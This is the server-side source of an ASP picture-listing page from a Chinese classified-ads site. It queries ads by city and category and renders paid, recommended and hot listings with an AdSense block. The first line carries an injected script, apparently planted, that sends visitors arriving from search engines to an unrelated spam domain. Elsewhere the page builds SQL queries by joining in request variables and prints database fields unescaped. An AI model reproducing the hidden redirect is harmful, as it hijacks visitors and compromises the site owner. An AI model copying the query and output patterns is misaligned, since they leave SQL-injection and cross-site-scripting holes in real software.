d:\wwwroot\wuchunhua\pic.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="head.asp"-->
002: <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=gb2312">
003: <!-- 这里是主题 -->
004: <%dim sql,rs,thepage,currentpage,pagename,totalpage,n,page
005:
006:
007: if city_oneid<>0 and city_twoid=0 then cityid="city_oneid="&city_oneid&" and "
008: if city_oneid<>0 and city_twoid<>0 and city_threeid=0 then cityid="city_oneid="&city_oneid&" and city_twoid="&city_twoid&" and "
009: if city_oneid<>0 and city_twoid<>0 and city_threeid<>0 then cityid="city_oneid="&city_oneid&" and city_twoid="&city_twoid&" and city_threeid="&city_threeid&" and "
010: if type_oneid<>0 and type_twoid=0 then typeid="type_oneid ="&type_oneid&" and "
011: if type_oneid<>0 and type_twoid<>0 and type_threeid=0 then typeid="type_oneid ="&type_oneid&" and type_twoid="&type_twoid&" and "
012: if type_oneid<>0 and type_twoid<>0 and type_threeid<>0 then typeid="type_oneid ="&type_oneid&" and type_twoid="&type_twoid&" and type_threeid="&type_threeid&" and "
013: if city_oneid<>0 and city_twoid=0 then city_id="&city_oneid="&city_oneid&""
014: if city_oneid<>0 and city_twoid<>0 and city_threeid=0 then city_id="&city_oneid="&city_oneid&"&city_twoid="&city_twoid&""
015: if city_oneid<>0 and city_twoid<>0 and city_threeid<>0 then city_id="&city_oneid="&city_oneid&"&city_twoid="&city_twoid&"&city_threeid="&city_threeid&""
016: if type_oneid<>0 and type_twoid=0 then type_id="&type_oneid="&type_oneid&""
017: if type_oneid<>0 and type_twoid<>0 and type_threeid=0 then type_id="&type_oneid="&type_oneid&"&type_twoid="&type_twoid&""
018: if type_oneid<>0 and type_twoid<>0 and type_threeid<>0 then type_id="&type_oneid="&type_oneid&"&type_twoid="&type_twoid&"&type_threeid="&type_threeid&""
019: type_id=city_id&type_id%
>
020: <table width="760" height="2" border="0" align="center" cellpadding="0" cellspacing="0">
021:   <tr> </tr>
022: </table>
023: <table width="860"  border="0" align="center" cellpadding="0" cellspacing="0">
024:   <tr valign="top">
025:     <td width="580"><table width="100%"  border="0" cellpadding="0" cellspacing="1" bgcolor="C0C0C0">
026:       <tr>
027:         <td bgcolor="#FFFFFF"><table width="96%"  border="0" align="center" cellpadding="0" cellspacing="0">
028:           <tr>
029:             <td height="30"  colspan="3"><strong> <img src="images/img.gif" width="12" height="12">
030:               <%if city_oneid>0 then response.write "<a href=""index.asp?city_oneid="&city_oneid&""">"&aa1&"</a>&gt;&gt;"
031:          if city_twoid>0 then response.write "<a href=""index.asp?city_oneid="&city_oneid&"&city_twoid="&city_twoid&""">"&aa2&"</a>&gt;&gt;"
032:          if city_threeid>0 then response.write "<a href=""index.asp?city_oneid="&city_oneid&"&city_twoid="&city_twoid&"&city_threeid="&city_threeid&""">"&aa3&"</a>&gt;&gt;"
033:          %
>分类信息&gt;&gt;<%if type_oneid>0 then
034:          set rs1=server.createobject("adodb.recordset")
035: rs1.open "select * from china_type where id ="&type_oneid&" and twoid=0 and threeid=0",conn,1,1
036: tyone=rs1("name")
037: tyname=tyone
038: rs1.close
039: if type_twoid<>0 then
040: rs1.open "select * from china_type where id ="&type_oneid&" and twoid="&type_twoid&" and threeid=0",conn,1,1
041: tytwo=rs1("name")
042: tyname=tytwo
043: rs1.close
044: if type_threeid<>0 then
045: rs1.open "select * from china_type where id ="&type_oneid&" and twoid="&type_twoid&" and threeid="&type_threeid,conn,1,1
046: tythree=rs1("name")
047: tyname=tythree
048: rs1.close
049: end if
050: end if
051: set rs1=nothing
052: end if
053: if type_threeid<>0 then
054: response.write "<a href=""?type_oneid="&type_oneid&city_id&""">"&tyone&"</a>>><a href=""?type_oneid="&type_oneid&"&type_twoid="&type_twoid&city_id&""">"&tytwo&"</a>"&tythree&""
055: elseif type_twoid<>0 then
056: response.write "<a href=""?type_oneid="&type_oneid&city_id&""">"&tyone&"</a>>>"&tytwo
057: else
058: response.write tyone
059: end if%
>&gt;&gt; 图片信息</strong></td>
060:           </tr>
061: <%if type_oneid=0 then  sql="select * from china_type where id >0 and twoid=0 and threeid=0 order by indexid asc"
062: if type_oneid<>0 and type_twoid=0 and type_threeid=0 then sql="select * from china_type where id ="&type_oneid&" and twoid<>0 and threeid=0 order by indexid asc"
063: if type_oneid<>0 and type_twoid<>0 and type_threeid=0 then sql="select * from china_type where id ="&type_oneid&" and twoid="&type_twoid&" and threeid<>0 order by indexid asc"
064: set rs1=server.createobject("adodb.recordset")              
065: rs1.open sql,conn,1,1  
066: if rs1.eof then
067: response.Write "暂无下级分类"
068: else
069: i=0
070: do while not rs1.eof
071: if i mod 3=0 then response.write "<tr height=""30"">"
072: if rs1("threeid")>0 then
073: count1="and type_oneid="&rs1("id")&" and type_twoid="&rs1("twoid")&" and type_threeid="&rs1("threeid")
074: elseif rs1("twoid")>0 then
075: count1="and type_oneid="&rs1("id")&" and type_twoid="&rs1("twoid")
076: else
077: count1="and type_oneid="&rs1("id")
078: end if
079: response.write "<td width=""33%"">·<a href=""pic.asp?type_oneid="&rs1("id")&"&type_twoid="&rs1("twoid")&"&type_threeid="&rs1("threeid")&city_id&"""><b><font style=""font-size:10.5pt"" color=""#0044DD"">"&rs1("name")&"</font></b></a><font color=#ff0000>&nbsp;&nbsp;("&conn.execute("select count(*) from [china_data] where "&cityid&" stop>=date() and pic<>'' and mark='yes' "&count1&"")(0)&")</font></td>"
080: rs1.movenext
081: i=i+1
082: if i mod 3=0 then response.write "</tr>"
083: loop
084: if i mod 3<>0 then
085: do while i mod 3<>0
086: response.write "<td width=""33%"">&nbsp;</td>"
087: i=i+1
088: loop
089: response.write "</tr>"
090: end if
091: end if
092: rs1.close:Set rs1=nothing%
>
093:           <tr>
094:             <td colspan="3" background="images/news_022.gif">&nbsp;</td>
095:           </tr>
096:         <tr><td colspan="3"><table width="100%">
097: <%sql="select * from [china_data] where "&cityid&" "&typeid&" mark='yes' and stop >= date() and pic<>'' order by top,money desc,time desc"
098: set rs=server.createobject("adodb.recordset")
099: rs.open sql,conn,1,1
100: if rs.eof then
101: response.write "<tr height=""28""><td colspan=""4"">暂无图片信息</td></tr>"
102: else
103: thepage=request("pageid")
104: if isnumeric(thepage)=false then
105: response.write "<script>alert('参数错误,关闭窗口!');window.close();</script>"
106: response.end
107: end if
108: currentpage = cLng(thepage)            
109: if currentpage <= 0 then currentpage=1      
110: const maxperpage=10                      
111: rs.Pagesize = maxperpage  
112: pagename="pic.asp"                    
113: totalpage = rs.PageCount
114: rs.absolutepage = currentpage
115: n=rs.recordcount                    
116: page = PageSplit(currentpage,totalpage,pagename,type_id)
117: if n>20 then
118: response.write "<tr><td height=""25"" colspan=""4""><a href=""ad.asp""><font style=""font-size:14px"" color=""#0000BF"">全部广告</font></a>&nbsp;&nbsp;页次:<b>"&currentpage&"/"&totalpage&"</b>&nbsp;&nbsp;每页<b>"&maxperpage&"</b>条&nbsp;&nbsp;共刊登<b>"&n&"</b>条"&tyname&"广告&nbsp;&nbsp;&nbsp;&nbsp;"&page&"</td></tr>"
119: response.write "<tr><td colspan=""4"" background=""images/news_022.gif"">&nbsp;</td></tr>"
120: end if
121: i=0
122: do while i < maxperpage and not rs.eof
123: if i mod 4=0 then response.write "<tr>"
124: response.write "<td width=""25%"" align=""center""><img src=""adpic/"&rs("pic")&""" width=""120"" height=""100""><br><a href=""html/"&rs("adid")&".htm"" target=""_blank"">"
125: if rs("cu")="yes" then response.write "<b>"
126: response.write "<b><font "
127: if rs("color")<>"" then
128: response.write "color="&rs("color")
129: else
130: response.write "color=#0044DD"
131: end if
132: response.write ">"&left(rs("title"),8)&"</font></b>"
133: if rs("cu")="yes" then response.write "</b>"
134: response.write "</a></td>"
135: rs.movenext
136: i=i+1
137: if i mod 4=0 then response.write "</tr><tr><td colspan=""4"" background=""images/news_022.gif"">&nbsp;</td></tr>"
138: loop
139: if i mod 4<>0 then
140: do while i mod 4<>0
141: response.write "<td></td>"
142: i=i+1
143: loop
144: response.write "</tr><tr><td colspan=""4"" background=""images/news_022.gif"">&nbsp;</td></tr>"
145: end if
146: end if
147: if n>20 then%
>
148:           <tr>
149:             <td colspan="4"><a href="ad.asp"><font style="font-size:14px" color="#0000BF">全部广告</font></a>&nbsp;&nbsp;页次:<b><%=currentpage%>/<%=totalpage%></b>&nbsp;&nbsp;每页<b><%=maxperpage%></b>条&nbsp;&nbsp;共刊登<b><%=n%></b>条<font color="#FF0000"><%=tyname%></font>广告&nbsp;&nbsp;&nbsp;&nbsp;
150:                 <%response.write page%></td>
151:           </tr>
152:           <%end if%></table></td></tr>
153:           <tr>
154:             <td>&nbsp;</td>
155:           </tr>
156:         </table></td>
157:       </tr>
158:     </table></td>
159:     <td width="10">&nbsp;</td>
160:     <td width="270"><table width="100%"  border="0" cellpadding="0" cellspacing="1" bgcolor="C0C0C0">
161:       <tr>
162:         <td bgcolor="#FFFFFF"><table width="92%"  border="0" align="center" cellpadding="0" cellspacing="0">
163:             <tr valign="bottom">
164:               <td height="28" colspan="2"><span style="font-weight: bold; color: #990000;">竟价排名分类信息</span></td>
165:             </tr>
166:             <tr>
167:               <td colspan="2"><table width="100%"  border="0" cellspacing="0" cellpadding="0">
168:                   <tr>
169:                     <td><hr size="1" color="#C0C0C0"></td>
170:                   </tr>
171:                   <tr>
172:                     <td>
173:                       <%response.write "<table width=""100%""  border=""0"" cellspacing=""4"" cellpadding=""0"" ><tr>"
174: set rs1=server.createobject("adodb.recordset")              
175: sql="select top 16 * from china_data where money>0 and stop >= date() and mark='yes' order by money desc"
176: rs1.open sql,conn,1,1
177: if rs1.eof then
178: response.write "<tr><td>暂无竞价排名分类信息</td></tr>"
179: else
180: i=0
181: do while not rs1.eof
182: if i mod 2=0 then response.write "<tr>"
183: response.write "<td><a title="&rs1("title")&" href=html/"&rs1("adid")&".htm target=blank><font style='size:12px'"
184: if rs1("color")<>"" then response.write "color="&rs1("color")
185: response.write ">"&left(rs1("title"),8)&"</font></a></td>"
186: rs1.movenext
187: i=i+1
188: if i mod 2=0 then response.write "</tr>"
189: loop
190: end if
191: rs1.close:set rs1=nothing
192: if i mod 2<>0 then response.write "<td></td></tr>"
193: response.write "</table>"%
></td>
194:                   </tr>
195:                   <tr>
196:                     <td><hr size="1" color="#C0C0C0"></td>
197:                   </tr>
198:               </table></td>
199:             </tr>
200:             <tr>
201:               <td width="25" height="200" bgcolor="DAF0FF"><div align="center"><strong>图<br>片<br>推<br>荐<br>信<br>息</strong></div>
202:               </td>
203:               <td><%set rs1 = server.createobject("adodb.recordset")
204: sql="select top 4 adid,pic,color,title,cu from [china_data] where mark='yes' and mark='yes' and stop >= date() and hotpoto=1 and pic <>'' order by [top] desc,money desc,adid desc"            
205: rs1.open sql,conn,1,1  
206: if rs1.eof then
207: response.write "暂无推荐图片信息"
208: else
209: i=0
210: response.write "<table width=""100%"" border=""0"" cellspacing=""0"" cellpadding=""0""><tr valign=""bottom"">"
211: do while not rs1.eof
212: if i mod 2=0 then response.write "<tr>"
213: response.write "<td align=""center""><a href=""html/"&rs1("adid")&".htm"" target=""_blank""><img src=""adpic/"&rs1("pic")&""" width=""100"" height=""90"" border=""0""></a><br>"
214: response.write "<a href=""html/"&rs1("adid")&".htm"" target=""_blank"">"
215: if rs1("cu")="yes" then
216: response.write "<b><font style=""font-size:9pt"""
217: if rs1("color")<>"" then response.write " color="""&rs1("color")&""""
218: response.write ">"&left(rs1("title"),8)&"</font></b>"
219: else
220: response.write "<font style=""font-size:9pt"""
221: if rs1("color")<>"" then response.write " color="""&rs1("color")&""""
222: response.write ">"&left(rs1("title"),8)&"</font>"
223: end if
224: response.write "</a></td>"
225: rs1.movenext
226: i=i+1
227: if i mod 2=0 then response.write "</tr>"
228: loop
229: if i mod 2<>0 then response.write "<td></td></tr>"
230: response.write "</table>"
231: end if
232: rs1.close:set rs1=nothing%
></td>
233:             </tr>
234:             <tr>
235:               <td height="30" colspan="2" background="images/news_0024.gif">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #990000"><strong>热点信息</strong></span></td>
236:             </tr>
237:             <tr>
238:               <td colspan="2"><%response.write "<table width=""100%""  border=""0"" cellspacing=""4"" cellpadding=""0"" ><tr>"
239: set rs1=server.createobject("adodb.recordset")              
240: sql="select top 16 * from china_data where hot=1 and stop >= date() and mark='yes' order by adid desc"
241: rs1.open sql,conn,1,1
242: if rs1.eof then
243: response.write "<tr><td>暂无热点分类信息</td></tr>"
244: else
245: i=0
246: do while not rs1.eof
247: if i mod 2=0 then response.write "<tr>"
248: response.write "<td><a title="&rs1("title")&" href=html/"&rs1("adid")&".htm target=blank><font style='size:12px'"
249: if rs1("color")<>"" then response.write "color="&rs1("color")
250: response.write ">"&left(rs1("title"),8)&"</font></a></td>"
251: rs1.movenext
252: i=i+1
253: if i mod 2=0 then response.write "</tr>"
254: loop
255: end if
256: rs1.close:set rs1=nothing
257: if i mod 2<>0 then response.write "<td></td></tr>"
258: response.write "</table>"%
></td>
259:             </tr>
260:             <tr>
261:               <td colspan="2"><script type="text/javascript"><!--
262: google_ad_client = "pub-7959465154098151";
263: google_ad_width = 250;
264: google_ad_height = 250;
265: google_ad_format = "250x250_as";
266: google_ad_type = "text_image";
267: google_ad_channel = "";
268: google_color_border = "E6E6E6";
269: google_color_bg = "FFFFFF";
270: google_color_link = "0000FF";
271: google_color_text = "000000";
272: google_color_url = "008000";
273: //-->

274: </script>
275: <script type="text/javascript"
276:   src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
277: </script></td>
278:             </tr>
279:         </table>
280:           <table  border="0" cellpadding="0" cellspacing="0" align="center" id="table17">
281:             <tr>
282:               <td height="8"></td>
283:             </tr>
284:           </table></td>
285:       </tr>
286:     </table></td>
287:   </tr>
288: </table>
289: <table  border="0" cellpadding="0" cellspacing="0" align="center" id="table17">
290:   <tr>
291:     <td height="8"></td>
292:   </tr>
293: </table>
294: <table width="760" height="2" border="0" align="center" cellpadding="0" cellspacing="0">
295:   <tr>
296:   </tr>
297: </table>
298: <table border="0" width="760" cellspacing="0" cellpadding="0" bgcolor="#FFFFFF" align=center>
299:   <tr>
300:   </tr>
301: </table><!-- 这里是主题结束 --><!--#include file="foot.asp"-->
302:
303:
304: